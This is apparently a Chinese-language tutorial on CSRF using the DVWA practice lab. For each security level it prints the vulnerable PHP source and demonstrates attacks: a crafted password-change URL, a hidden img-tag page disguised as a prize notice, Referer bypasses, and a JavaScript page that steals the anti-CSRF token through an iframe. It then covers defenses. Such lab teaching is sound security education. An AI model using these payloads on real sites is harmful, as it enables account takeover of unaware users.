DVWA从入门到精通(四):CSRF(跨站请求伪造)

📅 2026/7/3 12:36:45
DVWA从入门到精通(四):CSRF(跨站请求伪造)
摘要本文是《DVWA从入门到精通》系列的第四篇带你全面掌握CSRFCross-Site Request Forgery跨站请求伪造模块的攻防全流程。从CSRF的核心原理出发逐步讲解Low、Medium、High三个级别的攻击手法与源码分析并深入探讨Impossible级别的终极防御方案。文章包含恶意链接构造、Referer绕过、Token窃取等高阶技术以及验证码、二次确认等实战防御策略让你真正做到“知其然更知其所以然”。一、什么是CSRF1.1 CSRF的核心原理CSRFCross-Site Request Forgery中文全称是跨站请求伪造是一种通过伪装成受信任用户请求来利用受信任网站的攻击方式。用一个生活化的例子来理解假设你正在银行网站上登录着这时候你收到一封邮件里面有一个链接写着“点击领取100元优惠券”。你好奇地点开了——然而这个链接其实是攻击者精心构造的转账请求www.bank.com/transfer?toattackeramount10000。关键问题来了因为你浏览器里还保存着银行的登录Cookie所以银行服务器收到这个请求后会认为这就是你本人发起的转账操作于是乖乖地把钱转走了。而你完全不知情。从技术角度来看CSRF攻击利用的是Web应用对用户浏览器的信任机制。浏览器在发送请求时会自动携带目标网站的Cookie等身份验证信息。攻击者正是利用这一特性诱导用户在已登录状态下访问恶意页面从而在用户不知情的情况下以受害者身份执行非预期的操作。1.2 CSRF与XSS的区别很多初学者容易混淆CSRF和XSS这里做一个清晰对比对比维度CSRF跨站请求伪造XSS跨站脚本攻击攻击本质利用用户的登录态发起恶意请求在页面中注入恶意脚本信任关系利用网站对用户浏览器的信任利用用户对网站的信任是否需要用户点击通常需要诱导点击链接或访问页面不需要脚本自动执行攻击目标执行特定操作改密码、转账等窃取信息、劫持会话等防御重点验证请求来源、Token机制输入过滤、输出编码简单来说XSS是往网页里“种病毒”CSRF是“借你的手”去干坏事。1.3 CSRF的危害CSRF的危害程度取决于被攻击的功能点危害场景具体表现修改密码攻击者将用户密码改为自己的密码完全控制账户转账/支付在金融类应用中直接造成经济损失发表内容在社交平台以用户身份发布恶意信息修改邮箱将用户绑定的邮箱改为攻击者的邮箱用于密码重置删除数据删除用户的重要数据或整个账户二、准备工作2.1 靶场环境确保DVWA已部署并正常运行访问地址http://你的服务器IP/dvwa/login.php使用admin/password登录2.2 必备工具工具用途浏览器Chrome/Firefox访问靶场F12开发者工具观察请求Burp Suite抓包分析请求参数构造恶意请求Python HTTP服务器python3 -m http.server 8000快速托管恶意页面2.3 基础知识储备理解Cookie的自动发送机制了解Referer头的含义熟悉GET和POST请求的区别三、Low级别毫无防护的“裸奔”状态3.1 安全级别设置将DVWA Security设置为Low级别然后进入CSRF模块。3.2 界面观察CSRF模块的界面非常简单——一个修改密码的页面只有两个输入框New password新密码Confirm new password确认新密码注意这里没有要求输入当前密码这意味着任何人只要能访问到这个页面就能修改密码。3.3 源码分析点击页面底部的“View Source”按钮查看Low级别的核心代码?php if( isset( $_GET[ Change ] ) ) { // Get input $pass_new $_GET[ password_new ]; $pass_conf $_GET[ password_conf ]; // Do the passwords match? if( $pass_new $pass_conf ) { // They do! $pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $pass_new md5( $pass_new ); // Update the database $current_user dvwaCurrentUser(); $insert UPDATE users SET password $pass_new WHERE user . $current_user . ;; $result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); // Feedback for the user echo prePassword Changed./pre; } else { // Issue with passwords matching echo prePasswords did not match./pre; } ((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); } ?这段代码存在以下致命缺陷缺陷说明无CSRF Token没有任何防跨站请求的令牌验证无Referer检查不验证请求来源是否合法无旧密码验证不需要输入当前密码即可修改密码使用GET方法敏感操作使用GET请求攻击者只需构造URL即可触发存在SQL注入风险虽然使用了mysqli_real_escape_string但变量拼接本身仍不安全3.4 攻击方法构造恶意链接由于Low级别使用GET方法处理密码修改攻击者只需要构造一个包含恶意参数的URL即可。第一步观察正常请求在CSRF页面输入新密码123456确认密码123456点击提交。观察浏览器地址栏可以看到密码通过URL参数明文传递。第二步构造恶意链接将上面的URL复制下来修改密码参数为你想要的密码http://靶机IP/dvwa/vulnerabilities/csrf/?password_newhacker123password_confhacker123ChangeChange第三步发起攻击将这个链接发给已登录DVWA的受害者可以通过邮件、聊天工具等诱导其点击。受害者点击后浏览器会自动发送GET请求密码被修改为hacker123。3.5 更隐蔽的攻击方式图片标签直接发链接太明显了攻击者通常会使用更隐蔽的方式——通过img标签自动触发请求。创建一个恶意HTML页面比如attack.htmlhtml body img srchttp://靶机IP/dvwa/vulnerabilities/csrf/?password_newhacker123password_confhacker123ChangeChange width0 height0 / h1恭喜您中奖了请领取您的奖品/h1 /body /html当受害者访问这个页面时浏览器会自动加载img标签中的图片——实际上是在发送一个GET请求修改密码。而受害者看到的只是一个“中奖页面”完全不知情。3.6 Low级别总结缺陷说明无CSRF Token没有任何防跨站请求的令牌验证无Referer检查不验证请求来源无旧密码验证不需要当前密码即可修改使用GET方法敏感操作用GET攻击门槛极低四、Medium级别Referer检查的“第一道防线”4.1 安全级别设置将DVWA Security切换为Medium级别。4.2 观察变化在Medium级别下尝试用Low级别的攻击方法直接访问构造好的URL会发现攻击失效了——页面会提示错误或拒绝执行。4.3 源码分析查看Medium级别的核心代码?php if( isset( $_GET[ Change ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ HTTP_REFERER ] ,$_SERVER[ SERVER_NAME ]) ! false ) { // Get input $pass_new $_GET[ password_new ]; $pass_conf $_GET[ password_conf ]; // Do the passwords match? if( $pass_new $pass_conf ) { // They do! $pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $pass_new md5( $pass_new ); // Update the database $current_user dvwaCurrentUser(); $insert UPDATE users SET password $pass_new WHERE user . $current_user . ;; $result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); // Feedback for the user echo prePassword Changed./pre; } else { // Issue with passwords matching echo prePasswords did not match./pre; } } else { // Didnt come from a trusted source echo preThat request didnt look correct./pre; } ((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); } ?Medium级别的变化增加了Referer检查使用stripos($_SERVER[HTTP_REFERER], $_SERVER[SERVER_NAME])检查请求来源是否包含当前服务器名称Referer验证逻辑只有当HTTP请求头中的Referer字段包含服务器名称如127.0.0.1或localhost时才执行密码修改操作4.4 Referer机制的原理根据HTTP协议HTTP头中有一个叫Referer的字段它记录了该HTTP请求的来源地址。比如用户从http://bank.example/index.html页面点击按钮发起转账请求那么这个转账请求的Referer值就是http://bank.example/index.html。防御CSRF的思路是只接受来自本站域名或指定域名的请求拒绝来自其他网站的请求。在DVWA的Medium级别中管理员通过本地地址127.0.0.1访问密码修改页面因此代码要求所有修改密码请求的Referer必须包含127.0.0.1。4.5 Referer防御的局限性Referer检查看起来不错但存在以下问题问题说明Referer可以被伪造某些浏览器或工具可以篡改Referer值有些浏览器不发送Referer隐私设置或代理可能导致Referer缺失合法请求被误判存在绕过方法攻击者可以将恶意页面部署在目标服务器上或利用URL跳转4.6 攻击方法绕过Referer检查方法一将恶意页面部署在目标服务器上既然服务器要求Referer必须包含127.0.0.1那么攻击者可以将恶意HTML页面直接上传到目标服务器上比如通过文件上传漏洞然后诱导用户访问这个页面。这样请求的Referer就变成了127.0.0.1顺利通过检查。方法二利用URL跳转/重定向如果目标网站存在URL重定向漏洞攻击者可以构造一个从目标网站跳转到恶意页面的链接使得Referer仍然是目标网站的域名。方法三使用Burp Suite修改Referer在Burp Suite中拦截请求手动添加Referer头然后发送请求。4.7 Medium级别总结改进局限性增加了Referer检查Referer可以被伪造或缺失拒绝非本站来源的请求仍使用GET方法仍无Token验证有一定防护效果防护强度有限容易被绕过五、High级别Token机制的“动态防线”5.1 安全级别设置将DVWA Security切换为High级别。5.2 观察变化在High级别下抓取修改密码的请求会发现数据包中多了一个参数——user_token。同时查看页面源代码会发现表单中有一个隐藏字段input typehidden nameuser_token value随机生成的Token值 /5.3 源码分析查看High级别的核心代码?php $change false; $request_type html; $return_message Request Failed; if ($_SERVER[REQUEST_METHOD] POST array_key_exists (CONTENT_TYPE, $_SERVER) $_SERVER[CONTENT_TYPE] application/json) { $data json_decode(file_get_contents(php://input), true); $request_type json; if (array_key_exists(HTTP_USER_TOKEN, $_SERVER) array_key_exists(password_new, $data) array_key_exists(password_conf, $data) array_key_exists(Change, $data)) { $token $_SERVER[HTTP_USER_TOKEN]; $pass_new $data[password_new]; $pass_conf $data[password_conf]; $change true; } } else { if (array_key_exists(user_token, $_REQUEST) array_key_exists(password_new, $_REQUEST) array_key_exists(password_conf, $_REQUEST) array_key_exists(Change, $_REQUEST)) { $token $_REQUEST[user_token]; $pass_new $_REQUEST[password_new]; $pass_conf $_REQUEST[password_conf]; $change true; } } if ($change) { // Check Anti-CSRF token checkToken( $token, $_SESSION[ session_token ], index.php ); // Do the passwords match? if( $pass_new $pass_conf ) { // They do! $pass_new mysqli_real_escape_string ($GLOBALS[___mysqli_ston], $pass_new); $pass_new md5( $pass_new ); // Update the database $current_user dvwaCurrentUser(); $insert UPDATE users SET password . $pass_new . WHERE user . $current_user . ;; $result mysqli_query($GLOBALS[___mysqli_ston], $insert ); // Feedback for the user $return_message Password Changed.; } else { // Issue with passwords matching $return_message Passwords did not match.; } mysqli_close($GLOBALS[___mysqli_ston]); if ($request_type json) { generateSessionToken(); header (Content-Type: application/json); print json_encode (array(Message $return_message)); exit; } else { echo pre . $return_message . /pre; } } // Generate Anti-CSRF token generateSessionToken(); ?High级别的核心变化增加了Token验证使用checkToken()函数验证请求中的user_token是否与会话中的session_token一致Token动态刷新每次请求后调用generateSessionToken()生成新的Token每个Token只能使用一次移除了Referer检查High级别不再依赖Referer而是使用更可靠的Token机制5.4 Token机制的原理Token机制是目前最可靠的CSRF防护方案之一。其核心流程如下服务器生成Token用户打开密码修改页面时服务器生成一个唯一的、随机的Token存储在Session中同时输出到页面的隐藏字段中客户端提交Token用户提交修改密码请求时必须同时提交这个Token服务器验证Token服务器比对提交的Token与Session中的Token是否一致Token刷新验证通过后服务器立即生成新的Token为什么Token能防御CSRF攻击者虽然可以构造恶意请求但无法获取当前用户的有效Token——因为Token存储在用户浏览器当前页面的DOM中跨域无法读取。没有有效的Token服务器就会拒绝请求。5.5 攻击方法窃取TokenHigh级别的Token机制确实大大增加了攻击难度但并非无懈可击。攻击者可以通过XSS漏洞配合CSRF来窃取Token。攻击思路在目标网站上找到一个XSS漏洞如DVWA的存储型XSS模块利用XSS注入恶意JavaScript代码恶意代码读取页面中的user_token值将Token发送给攻击者或直接在客户端构造包含Token的恶意请求攻击代码示例!DOCTYPE html html langzh-CN head meta charsetUTF-8 /head body script window.onload function() { console.log(页面加载完成开始创建iframe); var iframe document.createElement(iframe); iframe.style.display none; iframe.src http://10.0.0.149/vulnerabilities/csrf/index.php; document.body.appendChild(iframe); iframe.onload function() { console.log(iframe加载完毕); var iframeDoc iframe.contentDocument || iframe.contentWindow.document; console.log(iframe文档对象, iframeDoc); var csrfTokenInput iframeDoc.querySelector(input[nameuser_token]); console.log(Token输入框元素, csrfTokenInput); if (csrfTokenInput) { var csrfToken csrfTokenInput.value; console.log(成功获取Token, csrfToken); var url http://10.0.0.149/vulnerabilities/csrf/index.php; url ?password_newhacker123; url password_confhacker123; url ChangeChange; url user_token encodeURIComponent(csrfToken); console.log(构造攻击URL, url); var xhr new XMLHttpRequest(); xhr.open(GET, url, true); xhr.onload function(){ // 只打印成功提示不输出完整HTML页面 console.log(改密请求发送完成); } xhr.onerror function(){ console.log(XHR请求失败); } xhr.send(); console.log(XHR请求已发出); }else{ console.log(未找到user_token输入框iframe里不是CSRF页面大概率跳转到登录页); } }; }; /script /body /html这个攻击脚本的工作流程是创建一个隐藏的iframe加载目标CSRF页面从iframe中提取user_token的值构造包含Token的完整请求URL使用XMLHttpRequest发送请求注意代码文件要放在同一服务器上执行。5.6 High级别总结防御机制作用潜在风险动态Token防止跨站请求每个Token仅用一次若存在XSS漏洞Token可被窃取Token刷新机制用完即废增强安全性需要配合其他防护手段无Referer依赖避免Referer被伪造的问题仍需防范XSSCSRF的组合攻击六、Impossible级别终极防御方案6.1 安全级别设置将DVWA Security切换为Impossible级别。6.2 观察变化进入Impossible级别的CSRF页面你会发现多了一个输入框——Current password当前密码。现在修改密码需要输入三个字段Current password当前密码New password新密码Confirm new password确认新密码6.3 源码分析查看Impossible级别的核心代码?php if( isset( $_GET[ Change ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // Get input $pass_curr $_GET[ password_current ]; $pass_new $_GET[ password_new ]; $pass_conf $_GET[ password_conf ]; // Sanitise current password input $pass_curr stripslashes( $pass_curr ); $pass_curr ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_curr ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $pass_curr md5( $pass_curr ); // Check that the current password is correct $data $db-prepare( SELECT password FROM users WHERE user (:user) AND password (:password) LIMIT 1; ); $current_user dvwaCurrentUser(); $data-bindParam( :user, $current_user, PDO::PARAM_STR ); $data-bindParam( :password, $pass_curr, PDO::PARAM_STR ); $data-execute(); // Do both new passwords match and does the current password match the user? if( ( $pass_new $pass_conf ) ( $data-rowCount() 1 ) ) { // It does! $pass_new stripslashes( $pass_new ); $pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $pass_new md5( $pass_new ); // Update database with new password $data $db-prepare( UPDATE users SET password (:password) WHERE user (:user); ); $data-bindParam( :password, $pass_new, PDO::PARAM_STR ); $current_user dvwaCurrentUser(); $data-bindParam( :user, $current_user, PDO::PARAM_STR ); $data-execute(); // Feedback for the user echo prePassword Changed./pre; } else { // Issue with passwords matching echo prePasswords did not match or current password incorrect./pre; } } // Generate Anti-CSRF token generateSessionToken(); ?6.4 Impossible级别的三重防御体系Impossible级别构建了三道防线彻底杜绝了CSRF攻击的可能性第一层CSRF Token验证保留了High级别的Token机制每个请求都必须携带有效的动态Token。第二层当前密码验证核心防御这是最关键的防御层。用户修改密码时必须输入当前密码。攻击者构造恶意请求时不知道用户的当前密码因此无法通过验证。即使Token被窃取没有当前密码也无法完成攻击。// 查询数据库验证当前密码是否正确 $data $db-prepare( SELECT password FROM users WHERE user (:user) AND password (:password) LIMIT 1; );第三层PDO预处理防SQL注入使用PDO预处理语句Prepared Statements执行数据库查询SQL指令模板和数据是分开发送的彻底杜绝了SQL注入的可能性。6.5 为什么Impossible级别无法被CSRF攻击要成功实施CSRF攻击攻击者需要同时满足以下条件条件Impossible级别的防护攻击者能否达成获取有效的CSRF TokenToken验证❌ 跨域无法获取知道用户的当前密码必须输入当前密码❌ 不知道通过SQL注入获取密码PDO预处理❌ 无法注入三重防护叠加使得CSRF攻击在Impossible级别下完全不可行。6.6 Impossible级别总结防御层技术手段作用第一层CSRF Token验证防止跨站请求伪造第二层当前密码验证即使Token被窃取也无法改密第三层PDO预处理语句防止SQL注入窃取密码七、防御CSRF的最佳实践通过DVWA四个级别的对比我们可以总结出防御CSRF的最佳实践7.1 必须实施的防御措施措施说明优先级Anti-CSRF Token每个敏感操作生成唯一的随机Token服务端验证⭐⭐⭐⭐⭐当前密码验证修改密码、转账等关键操作要求输入当前密码⭐⭐⭐⭐⭐验证码在关键操作前要求输入验证码⭐⭐⭐⭐⭐使用POST方法敏感操作使用POST而非GET⭐⭐⭐⭐7.2 推荐的辅助措施措施说明优先级Referer检查验证请求来源但不可作为唯一防护⭐⭐⭐SameSite Cookie属性设置Cookie的SameSite属性为Strict或Lax⭐⭐⭐二次确认弹出确认对话框让用户二次确认操作⭐⭐⭐操作日志记录所有敏感操作便于事后审计⭐⭐7.3 常见误区在实际开发中以下做法不能有效防御CSRF❌仅使用Referer检查Referer可以被伪造或缺失❌仅使用验证码验证码可能被破解或绕过❌仅使用POST方法POST请求同样可以被伪造通过表单自动提交❌依赖前端验证攻击者可以绕过前端直接发请求八、CSRF的实战检测思路在实际的渗透测试中如何快速发现CSRF漏洞8.1 检测步骤识别敏感操作找到修改密码、转账、修改邮箱等关键功能点观察请求方式查看是GET还是POST参数如何传递检查防护措施是否有Token参数是否有Referer检查是否需要二次验证当前密码、验证码等尝试构造请求在无Token的情况下发送请求观察是否成功验证漏洞使用不同浏览器或清除Cookie后测试8.2 常见绕过技巧场景绕过方法Referer检查将恶意页面部署在目标域名下或利用URL跳转Token验证配合XSS漏洞窃取Token验证码使用打码平台或寻找验证码复用漏洞双重验证难以绕过需要寻找逻辑漏洞九、总结本文围绕CSRF跨站请求伪造漏洞展开完整学习我们掌握其核心原理攻击者借助浏览器自动携带站点Cookie的特性诱导登录用户执行非自愿操作同时分清CSRF信任浏览器、XSS信任用户的核心差异逐级实操分析DVWA四种安全等级Low级采用GET传参可构造恶意链接、img标签自动触发伪造请求Medium级依靠Referer字段校验来源域名但该请求头存在伪造、缺失的绕过缺陷High级引入动态Token校验请求合法性仅能借助XSS漏洞窃取Token完成攻击Impossible级结合动态Token、原密码二次校验、PDO预处理实现全方位防护同时整理出Anti-CSRF Token、关键操作密码验证、验证码、SameSite Cookie等主流防御方案。CSRF漏洞的本质是Web服务无法辨别请求是否由用户主动发起借助DVWA的CSRF模块我们同时掌握漏洞攻击手段与防护逻辑在真实业务环境中搭配Anti-CSRF Token与修改密码等高危操作二次校验的防护组合就能从根源上有效抵御CSRF攻击。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。